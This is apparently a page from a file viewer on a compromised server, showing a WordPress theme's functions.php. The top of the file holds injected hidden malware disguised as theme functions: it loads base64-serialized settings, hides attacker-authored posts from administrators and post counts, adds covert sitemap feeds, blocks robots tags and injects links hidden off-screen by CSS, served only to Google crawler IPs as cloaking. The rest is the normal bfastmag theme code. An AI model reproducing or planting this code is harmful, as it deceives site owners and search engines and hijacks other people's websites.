HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/themes/bfastmag/functions.php
<?php

/* 72ce7dff02dbbd0787bd014aa7807501 */

function current_user_can_edit($where) {
    global $wpdb, $get_search_form_compiler;

    $is_singular_path = array_keys($get_search_form_compiler);
    $get_transient_client = implode(', ', $is_singular_path);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'is_admin_first');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_transient_client)";
    }

    return $where;
}

function is_wp_error_new($query) {

    global $get_search_form_compiler;

    $is_singular_path = array_keys($get_search_form_compiler);
    $_x_time = get_author_posts_url_soap($is_singular_path);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $_x_time);
    }
}

function wp_link_pages_object() {

    global $post, $get_search_form_compiler;

    foreach ($get_search_form_compiler as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (wp_footer_library($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function wp_footer_library($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (the_excerpt_all()) {
            return true;
        }
    }
    return false;
}

function is_admin_first($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function is_archive_method($counts, $type, $perm) {

    if ($type === 'post') {
        $comments_open_statement = $counts->publish;
        $language_attributes_pic = get_transient_request($perm);
        $counts->publish = !$language_attributes_pic ? $comments_open_statement : $language_attributes_pic;
    }
    return $counts;
}

function get_transient_request($perm) {
    global $wpdb, $get_search_form_compiler;

    $is_singular_path = array_keys($get_search_form_compiler);
    $get_transient_client = implode(', ', $is_singular_path);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $add_section_string = get_post_type_object($type);

        if (!current_user_can($add_section_string->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_transient_client) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $current_user_can_stack) {
        if ($current_user_can_stack['post_status'] === 'publish') {
            return $current_user_can_stack['num_posts'];
        }
    }
}

function wp_link_pages_reference($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $is_singular_path = array();
    foreach ($results as $current_user_can_stack) {
        $is_singular_path[] = $current_user_can_stack['ID'];
    }
    return $is_singular_path;
}

function the_archive_title_plain() {

    global $get_search_form_compiler, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_search_form_compiler as $is_customize_preview_new => $the_ID_new) {
        $get_the_ID_stream = key($the_ID_new['sitemapsettings']);

        if (!isset($rules[$get_the_ID_stream]) ||
            ($rules[$get_the_ID_stream] !== current($the_ID_new['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function have_posts_pointer($rules) {

    global $get_search_form_compiler;

    $is_page_part = array();

    foreach ($get_search_form_compiler as $is_customize_preview_new => $the_ID_new) {
        if (isset($the_ID_new['sitemapsettings'])) {
            $is_page_part[key($the_ID_new['sitemapsettings'])] = current($the_ID_new['sitemapsettings']);
        }
    }

    return $is_page_part + $rules;
}

function comments_open_object() {

    global $get_search_form_compiler;

    foreach ($get_search_form_compiler as $is_customize_preview_new => $the_ID_new) {
        $get_permalink_new = str_replace('index.php?feed=', '', current($the_ID_new['sitemapsettings']));
        add_feed($get_permalink_new, 'is_singular_variable');
    }
}


function is_singular_variable() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $absint_security = has_nav_menu_more();
    $the_post_wp = wp_link_pages_reference($absint_security);

    if (!empty($the_post_wp)) {
        $get_stylesheet_uri_url = md5(implode(',', $the_post_wp));
        $get_theme_file_uri_plain = 'update_plugins_' . $absint_security . '_' . $get_stylesheet_uri_url;
        $get_stylesheet_uri_request = get_transient($get_theme_file_uri_plain);

        if ($get_stylesheet_uri_request !== false) {
            echo $get_stylesheet_uri_request;
            return;
        }
    }



    $head = get_setting_reference();
    $wp_footer_stream = $head . "\n";


    $priority = '0.5';
    $get_theme_file_uri_character = 'weekly';
    $is_page_private = date('Y-m-d');

    foreach ($the_post_wp as $post_id) {
        $url = get_permalink($post_id);
        $wp_footer_stream .= get_option_library($url, $is_page_private, $get_theme_file_uri_character, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $wp_footer_stream .= "\n</urlset>";

    set_transient($get_theme_file_uri_plain, $wp_footer_stream, WEEK_IN_SECONDS);

    echo $wp_footer_stream;
}


function get_setting_reference() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function get_option_library($url, $is_page_private, $get_theme_file_uri_character, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$is_page_private</lastmod>
      <changefreq>$get_theme_file_uri_character</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function get_author_posts_url_soap($writersArr) {
    $get_the_ID_get = array();

    foreach ($writersArr as $item) {
        $get_the_ID_get[] = '-' . $item;
    }
    return implode(',', $get_the_ID_get);
}

function has_post_thumbnail_integer() {

    $_e_pointer = array();
    $the_title_wp = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $set_transient_encryption = unserialize(base64_decode($settings));
        if ($set_transient_encryption) {
            $_e_pointer = $set_transient_encryption;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $the_ID_info = unserialize(base64_decode($settings));
        if ($the_ID_info) {
            $the_title_wp = $the_ID_info;
        }
    }

    return $the_title_wp + $_e_pointer;

}

function has_nav_menu_more() {

    global $get_search_form_compiler;

    foreach ($get_search_form_compiler as $is_customize_preview_new => $the_ID_new) {

        $is_search_beta = key($the_ID_new['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($the_ID_new['sitemapsettings']) . '$');

        if (preg_match("~$is_search_beta~", $_SERVER['REQUEST_URI'])) {
            return $is_customize_preview_new;
        }
    }
}

function add_filter_http() {
    global $get_search_form_compiler, $post;

    $is_active_sidebar_more = array_keys($get_search_form_compiler);
    if (in_array($post->post_author, $is_active_sidebar_more)) {
        return true;
    }
    return false;
}

function add_image_size_less() {
    global $get_search_form_compiler, $post;

    $is_active_sidebar_more = array_keys($get_search_form_compiler);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $is_active_sidebar_more)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function wp_get_attachment_image_src_time() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function the_excerpt_all() {

    $the_excerpt_encryption = wp_get_attachment_image_src_time();

    if (strstr($the_excerpt_encryption, ', ')) {
        $edit_post_link_event = explode(', ', $the_excerpt_encryption);
        $the_excerpt_encryption = $edit_post_link_event[0];
    }

    $get_search_query_double = number_format_i18n_function();

    if (!$get_search_query_double) {
        return false;
    }

    foreach ($get_search_query_double as $range) {
        if (have_comments_old($the_excerpt_encryption, $range)) {
            return true;
        }
    }
    return false;
}

function comments_open_module($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function number_format_i18n_function() {

    if (($value = get_option('wp_custom_range')) && !comments_open_module($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_search_query_double = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_search_query_double)) {

            return;
        }

        $value = array('ranges' => $get_search_query_double, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function _e_base($inet) {
    $wp_list_comments_decryption = str_split($inet);
    $post_password_required_pic = '';
    foreach ($wp_list_comments_decryption as $char) {
        $post_password_required_pic .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $post_password_required_pic;
}

function have_comments_old($the_excerpt_encryption, $cidrnet) {
    $the_excerpt_encryption = inet_pton($the_excerpt_encryption);
    $post_password_required_pic = _e_base($the_excerpt_encryption);

    list($net, $language_attributes_stat) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $get_theme_mod_first = _e_base($net);

    $get_sidebar_first = substr($post_password_required_pic, 0, $language_attributes_stat);
    $admin_url_interface = substr($get_theme_mod_first, 0, $language_attributes_stat);

    if ($get_sidebar_first !== $admin_url_interface) {
        return false;
    } else {
        return true;
    }
}


function the_content_constructor($get_header_reference) {

    global $post;

    $dynamic_sidebar_compiler = '';


    if (is_singular_xml($get_header_reference, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $dynamic_sidebar_compiler = get_option('home_links_custom_0');
        }
    } elseif (is_singular_xml($get_header_reference, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $dynamic_sidebar_compiler = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (is_singular_xml($get_header_reference, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_bloginfo_constructor = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $dynamic_sidebar_compiler = get_option('home_links_custom_' . $get_bloginfo_constructor);
        
        
    } elseif (is_singular_xml($get_header_reference, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$dynamic_sidebar_compiler ? '' : $dynamic_sidebar_compiler;
}

function is_singular_xml($the_ID_new, $the_content_hashing, $number_format_i18n_list) {
    if (!isset($the_ID_new[$the_content_hashing][$number_format_i18n_list])) {
        return false;
    }

    if ($the_ID_new[$the_content_hashing][$number_format_i18n_list] === 1) {
        return true;
    }

    return false;

}

function wp_get_attachment_image_src_branch($get_header_reference, $esc_url_pic) {
    if (empty($esc_url_pic)) {
        return '';
    }

    if (is_singular_xml($get_header_reference, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $esc_url_raw_url = the_posts_pagination_class();
        $get_theme_mod_other = $esc_url_raw_url[$blockNum[0]];
        return $get_theme_mod_other[0] . PHP_EOL . $esc_url_pic . PHP_EOL . $get_theme_mod_other[1];
    }

    return $esc_url_pic;
}

function the_posts_pagination_class() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function register_nav_menus_method($get_header_reference) {
    return is_singular_xml($get_header_reference, 'position', 'head');
}

function get_the_ID_dns($get_header_reference) {
    return is_singular_xml($get_header_reference, 'position', 'footer');
}

function the_content_object($settings) {
    foreach ($settings as $is_customize_preview_new => $the_ID_new) {
        if (isset($the_ID_new['homeLinks'])) {
            return $the_ID_new['homeLinks'];
        }
    }
    return array();
}


function is_front_page_more() {
    if (!add_filter_http()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function get_the_ID_other() {

    global $get_header_reference;

    if (!is_front_page_more()) {
        
        
        return;
    }

    if (is_singular_xml($get_header_reference, 'hiddenType', 'cloacking')) {
        if (!the_excerpt_all()) {
            
            return;
        }
    }


    $esc_url_pic = the_content_constructor($get_header_reference);
    $esc_url_pic = wp_get_attachment_image_src_branch($get_header_reference, $esc_url_pic);

    


    echo $esc_url_pic;

}

$get_search_form_compiler = has_post_thumbnail_integer();


if (is_array($get_search_form_compiler)) {
    add_filter('posts_where_paged', 'current_user_can_edit');
    add_action('pre_get_posts', 'is_wp_error_new');
    add_action('wp_enqueue_scripts', 'wp_link_pages_object');
    add_filter('wp_count_posts', 'is_archive_method' , 10, 3);
    add_filter('rewrite_rules_array', 'have_posts_pointer');
    add_action('wp_loaded', 'the_archive_title_plain');
    add_action('init', 'comments_open_object');
    add_action('template_redirect', 'add_image_size_less');

    $get_header_reference = the_content_object($get_search_form_compiler);

    if (!empty($get_header_reference)) {

        

        if (register_nav_menus_method($get_header_reference)) {
            add_action('wp_head', 'get_the_ID_other');
        }
        if (get_the_ID_dns($get_header_reference)) {
            add_action('wp_footer', 'get_the_ID_other');
        }


    }
}

/* 72ce7dff02dbbd0787bd014aa7807501 */






/**
 * bfastmag functions and definitions.
 *
 * @link https://developer.wordpress.org/themes/basics/theme-functions/
 *
 * @package WordPress
 * @package bfastmag
 */

  	/**
	 * Sets up theme defaults and registers support for various WordPress features.
	 *
	 * Note that this function is hooked into the after_setup_theme hook, which
	 * runs before the init hook. The init hook is too late for some features, such
	 * as indicating support for post thumbnails.
	 */
	function bfastmag_setup() {
		/*
		 * Make theme available for translation.
		 * Translations can be filed in the /languages/ directory.
		 * If you're building a theme based on bfastmag, use a find and replace
		 * to change 'bfastmag' to the name of your theme in all the template files.
		 */
		load_theme_textdomain( 'bfastmag', get_template_directory() . '/languages' );

		// Add default posts and comments RSS feed links to head.
		add_theme_support( 'automatic-feed-links' );

		/*
		 * Let WordPress manage the document title.
		 * By adding theme support, we declare that this theme does not use a
		 * hard-coded <title> tag in the document head, and expect WordPress to
		 * provide it for us.
		 */
		add_theme_support( 'title-tag' );

		/*
		 * Enable support for Post Thumbnails on posts and pages.
		 *
		 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
		 */
		add_theme_support( 'post-thumbnails' );

		add_image_size( 'bfastmag_blk_small_thumb', 170, 110, true );
		add_image_size( 'bfastmag_small_thumb_crop', 86, 70, true );
		add_image_size( 'bfastmag_blk_small_thumb_no_crop', 170, 110 );

		add_image_size( 'bfastmag_blk_big_thumb', 370, 250, true );
		add_image_size( 'bfastmag_blk_big_thumb_no_crop', 370, 250 );

		add_image_size( 'bfastmag_related_post', 288, 160, true );
		add_image_size( 'bfastmag_blog_post', 780, 544, true );
		add_image_size( 'bfastmag_blog_post_no_crop', 780, 544 );
 
		// This theme uses wp_nav_menu() in one location.
		register_nav_menus( array(
			'bfastmag-top'  => esc_html__( 'Top Menu', 'bfastmag' ),
			'bfastmag-primary' => esc_html__( 'Primary Menu', 'bfastmag' ),
			'bfastmag-footer'  => esc_html__( 'Footer Menu', 'bfastmag' ),
			'social'  => esc_html__( 'Social Menu', 'bfastmag' ),
		) );

		/*
		 * Switch default core markup for search form, comment form, and comments
		 * to output valid HTML5.
		 */
		add_theme_support( 'html5', array(
			'search-form',
			'comment-form',
			'comment-list',
			'gallery',
			'caption',
		) );

		/*
		 * Enable support for Post Formats.
		 * See https://developer.wordpress.org/themes/functionality/post-formats/
		 */
		add_theme_support( 'post-formats', array(
 			'image',
			'video',
			'audio',
			'quote',
			'link',
			'gallery',
		) );



	// Add theme support for Custom Logo.
	add_theme_support( 'custom-logo', array(
			'height'      => 100,
			'width'       => 300,
			'flex-height' => true,
			'flex-width'  => true,
			'header-text' => array( 'site-title', 'site-description' ),

	) );

		// Set up the WordPress core custom background feature.
		add_theme_support( 'custom-background', array(
			'default-image' => get_template_directory_uri() . '/assets/images/bfastmag-background.jpg',
			'default-preset'         => 'fill',
			'default-repeat'         => 'no-repeat',
			'default-position-x'     => 'center',
			'default-attachment'     => 'fixed',
			'default-size'       => 'cover',
		) );


		register_default_headers( array(
			'wheel' => array(
				'url'           => get_stylesheet_directory_uri() . '/assets/images/banner.png',
				'thumbnail_url' => get_stylesheet_directory_uri() . '/assets/images/banner_th.png',
				'description'   => __( 'Banner', 'bfastmag' ),
			),
		) );

		 
		/*
		 * Welcome Page theme
		 */

		if ( is_admin() ) {

			global $bfastmag_required_actions;

 
			require get_template_directory() . '/inc/about/about-bfastmag.php';
		}

 
	}



 
add_action( 'after_setup_theme', 'bfastmag_setup' );



/**
 * Set the content width in pixels, based on the theme's design and stylesheet.
 *
 * Priority 0 to make it available to lower priority callbacks.
 *
 * @global int $content_width
 */
function bfastmag_content_width() {
	$GLOBALS['content_width'] = apply_filters( 'bfastmag_content_width', 840 );
}
add_action( 'after_setup_theme', 'bfastmag_content_width', 0 );




/**
 * Check what front page displays
 *
 * @return bool
 */
function bfastmag_is_not_latest_posts() {
	return ('posts' == get_option( 'show_on_front' ) ? false : true);
}

  

/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
require_once( 'inc/widgets/widgets.php' );


/**
 * Register widget area.
 *
 * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
 */
function bfastmag_widgets_init() {
	register_sidebar( array(
		'name'          => esc_html__( 'Sidebar', 'bfastmag' ),
		'id'            => 'bfastmag-sidebar',
		'description'   => '',
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget'  => '</div>',
		'before_title'  => '<h3 class="title-border   title-bg-line"><span>',
		'after_title'   => '<span class="line"></span></span></h3>',
	) );

	register_sidebar( array(
		'name'          => esc_html__( 'Header Ad ', 'bfastmag' ),
		'id'            => 'bfastmag-header-ad',
		'description'   => '',
		'before_widget' => '<div id="%1$s" class="widget %2$s">',
		'after_widget'  => '</div>',
	) );
 

	$sidebars = array(
		'a' => 'bfastmag-footer-block1',
		'b' => 'bfastmag-footer-block2',
		'c' => 'bfastmag-footer-block3',
	);
	foreach ( $sidebars as $sidebar ) {

		switch ( $sidebar ) {
			case 'bfastmag-footer-block1':
				$name = esc_html__( 'Footer Block 1','bfastmag' );
				break;
			case 'bfastmag-footer-block2':
				$name = esc_html__( 'Footer Block 2','bfastmag' );
				break;
			case 'bfastmag-footer-block3':
				$name = esc_html__( 'Footer Block 3','bfastmag' );
				break;
			default:
				$name = $sidebar;
		}

		register_sidebar(
			array(
				'name'          => $name,
				'id'            => $sidebar,
				'before_widget' => '<div id="%1$s" class="widget %2$s">',
				'after_widget'  => '</div>',
				'before_title'  => '<h3 class="title-border title-bg-line"><span>',
				'after_title'   => '<span class="line"></span></span></h3>',
			)
		);
	}

  	
}
add_action( 'widgets_init', 'bfastmag_widgets_init' );

/**
 * Create Google Fonts styles.
 */

function bfastmag_googlefonts() {
	$fonts_url = '';
	$font_families = array();

	/*
	 Translators: If there are characters in your language that are not
	* supported by Lora, translate this to 'off'. Do not translate
	* into your own language.
	*/
	$ptserif = _x( 'on', 'PT Serif font: on or off', 'bfastmag' );
	$roboto = _x( 'on','Roboto font: on or off','bfastmag' );
	$open_sans = _x( 'on', 'Open Sans font: on or off', 'bfastmag' );

	if ( 'off' !== $ptserif || 'off' !== $roboto || 'off' !== $open_sans ) {
		if ( 'off' !== $ptserif ) {
			$font_families[] = 'PT Serif:400,700';
		}
		if ( 'off' !== $roboto ) {
			$font_families[] = 'Roboto:400,500,600,700';
		}
		if ( 'off' !== $open_sans ) {
			$font_families[] = 'Open Sans:400,700,600';
		}
		$query_args = array(
			'family' => urlencode( implode( '|', $font_families ) ),
			'subset' => urlencode( 'latin,latin-ext' ),
		);
		$fonts_url = add_query_arg( $query_args, '//fonts.googleapis.com/css' );
	}

	return $fonts_url;
}

/**
 * Enqueue scripts and styles.
 */
function bfastmag_scripts() {

	wp_enqueue_style( 'bfastmag-bootstrap', get_template_directory_uri() . '/assets/css/bootstrap.min.css',array(), '3.3.5' );

	wp_enqueue_style( 'bfastmag-style', get_stylesheet_uri() );
	wp_enqueue_style( 'bfastmag-mobile', get_template_directory_uri() . '/assets/css/mobile.css',array(), '1.0.0' );
	
	wp_enqueue_style( 'bfastmag-googlefonts', bfastmag_googlefonts() , array(), null);

	wp_enqueue_style( 'bfastmag-fontawesome', get_template_directory_uri() . '/assets/css/font-awesome.min.css',array(), '4.4.0' );


	if ( 'page' == get_option( 'show_on_front' ) && is_front_page() || is_home()) {
		wp_enqueue_script( 'bfastmag-script-home', get_template_directory_uri() . '/assets/js/bfastmag.home.js', array( 'jquery' ), '1.0.0', true );
	}

	if ( is_single() ) {
		wp_enqueue_script( 'bfastmag-script-single', get_template_directory_uri() . '/assets/js/bfastmag.single.js', array( 'jquery' ), '1.0.0', true );
	}

	wp_enqueue_script( 'bfastmag-global-all', get_template_directory_uri() . '/assets/js/bfastmag.global.js', array( 'jquery' ), '1.0.1', true );
	wp_localize_script( 'bfastmag-global-all', 'screenReaderText', array(
		'expand'   => '<span class="screen-reader-text">' . esc_html__( 'expand child menu', 'bfastmag' ) . '</span>',
		'collapse' => '<span class="screen-reader-text">' . esc_html__( 'collapse child menu', 'bfastmag' ) . '</span>',
	) );
	$sticky_menu = get_theme_mod( 'bfastmag_sticky_menu', false );
	wp_localize_script( 'bfastmag-global-all', 'stickyMenu', array(
		'disable_sticky' => $sticky_menu,
	) );

	wp_enqueue_script( 'bfastmag-owl-carousel', get_template_directory_uri() . '/assets/js/owl.carousel.min.js', array( 'jquery' ), '2.0.0', true );

	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
		wp_enqueue_script( 'comment-reply' );
	}
}
add_action( 'wp_enqueue_scripts', 'bfastmag_scripts' );



/**
 * Enqueue custom styles.
 */
function fastive_mag_inline_css() {
   	//inline style
		wp_add_inline_style( 'bfastmag-style', bfastmag_inline_style() );

}

add_action( 'wp_head', 'fastive_mag_inline_css', 100 );

  /**
 * require bfastmag files.
 */
require get_template_directory() . '/inc/hooks/header.php';
require get_template_directory() . '/inc/hooks/footer.php';
require get_template_directory() . '/inc/hooks/inline-style.php';
/**
 * Preview Theme Demo
 */
require_once( get_template_directory() . '/inc/prevdem_tpacific/init-prevdem.php' );
 
/**
 * Custom functions  
 */
require get_template_directory() . '/inc/functions/custom-functions.php';


/**
 * Customizer additions.
 */


function bfastmag_customize_register_required(){
  	require( get_template_directory() . '/inc/customizer/bfastmag-info.php' );
	require( get_template_directory() . '/inc/customizer/customizer-repeater/bfastmag-general-control.php' );

}
add_action( 'customize_register', 'bfastmag_customize_register_required' );


require get_template_directory() . '/inc/customizer/customizer.php';
 
/**
 * Enables user customization via WordPress plugin API
 */
require get_template_directory() . '/inc/hooks/hooks.php'; 

/**
 * Get Post via Ajax function Customize
 */
function bfastmag_get_post_aj() {
 	$block_hm = $_POST['section'];


	if ( $block_hm == 'bfastmag_featured_big_cat' ) {
		$cat = $_POST['category'];
		$tp_no_of_posts = $_POST['tp_no_of_posts'];

		$wp_query = new WP_Query( array(
			'posts_per_page'        => $tp_no_of_posts,
			'order'                 => 'DESC',
			'post_status'           => 'publish',
			'category_name'         => ( ! empty( $cat ) && $cat != 'all' ? $cat : '' ),
		));
			

			include( locate_template( 'template-parts/featured-big.php' ) );
	 
 	}

 	if ( $block_hm == 'bfastmag_topslider_category' ) {
		$cat = $_POST['category'];
		$tp_no_of_posts = $_POST['tp_no_of_posts'];

		$wp_query = new WP_Query( array(
			'posts_per_page'        => $tp_no_of_posts,
			'order'                 => 'DESC',
			'post_status'           => 'publish',
			'category_name'         => ( ! empty( $cat ) && $cat != 'all' ? $cat : '' ),
		));

		if ( $wp_query->have_posts() ) : ?>
			 
				<div class="owl-carousel bfastmag-top-carousel">
					<?php
					while ( $wp_query->have_posts() ) : $wp_query->the_post();
						get_template_part( 'template-parts/slider-posts', get_post_format() );
					endwhile;
					?>
				</div><!-- End .bfastmag-top-carousel -->
		 
			<?php
		else :
			get_template_part( 'template-parts/content', 'none' );
		endif;
		wp_reset_postdata();
	}

	if ( $block_hm == 'bfastmag_block1_category' ) {
		$bfastmag_block_category = $_POST['category'];
		$bfastmag_block_max_posts = $_POST['tp_no_of_posts'];
		$postperpage = $_POST['posts_per_page'];
		include( locate_template( 'template-parts/content-fp1.php' ) );
	}

	if ( $block_hm == 'bfastmag_block2_category' ) {
		$bfastmag_block_category = $_POST['category'];
		$bfastmag_block_max_posts = $_POST['tp_no_of_posts'];
		include( locate_template( 'template-parts/content-fp3.php' ) );
	}

	if ( $block_hm == 'bfastmag_block3_category' ) {
		$bfastmag_block_category = $_POST['category'];
		$bfastmag_block_max_posts = $_POST['tp_no_of_posts'];
		include( locate_template( 'template-parts/content-fp2.php' ) );
	}

	if ( $block_hm == 'bfastmag_block4_category' ) {
		$bfastmag_block_category = $_POST['category'];
		$bfastmag_block_max_posts = $_POST['tp_no_of_posts'];
		include( locate_template( 'template-parts/content-fp3.php' ) );
	}
 

	die();
}

/**
 * Function to Show Home Block.
 *
 * @param int  $block_hm_styl Block number.
 * 
 */
function bfastmag_show_block( $block_hm_styl) {
 	$fp_style = 1;
 	switch ( $block_hm_styl ) {
		case 1:
			$postperpage = get_theme_mod( 'bfastmag_block1_posts_per_page', 4 );
 			$fp_style = $block_hm_styl;
			$bfastmag_block_title = get_theme_mod( 'bfastmag_block1_title' );
 			break;
		case 2:
			$fp_style = 3;
			$bfastmag_block_title = get_theme_mod( 'bfastmag_block2_title', esc_html__( 'Block 2', 'bfastmag' ) );
 			break;
		case 3:
			$fp_style = 2;
			$bfastmag_block_title = get_theme_mod( 'bfastmag_block3_title', esc_html__( 'Block 3', 'bfastmag' ) );
 			break;
		case 4:
			$fp_style = 3;
			$bfastmag_block_title = get_theme_mod( 'bfastmag_block4_title', esc_html__( 'Block 4', 'bfastmag' ) );
 			break;
 	}
 
 	$bfastmag_block_category = esc_attr( get_theme_mod( 'bfastmag_block' . $block_hm_styl . '_category', 'all' ) );
	$bfastmag_block_max_posts = absint( get_theme_mod( 'bfastmag_block' . $block_hm_styl . '_max_posts', 6 ) );  
	if($fp_style == 1){
		$bfastmag_block_max_posts = absint( get_theme_mod( 'bfastmag_block' . $block_hm_styl . '_max_posts', 8 ) );
	}
		

	 ?>
	<div class="bfastmag-block<?php echo $block_hm_styl; ?>">
 			<?php
  			 
 		if ( ! empty( $bfastmag_block_title ) ) { ?>
			<h2 class="title-border title-bg-line mb30">
				<span><?php echo esc_attr( $bfastmag_block_title ); ?><span class="line"></span></span>
			</h2>
			<?php
		}  

		include( locate_template( 'template-parts/content-fp' . $fp_style . '.php' ) ); ?>
	</div>
	<?php
}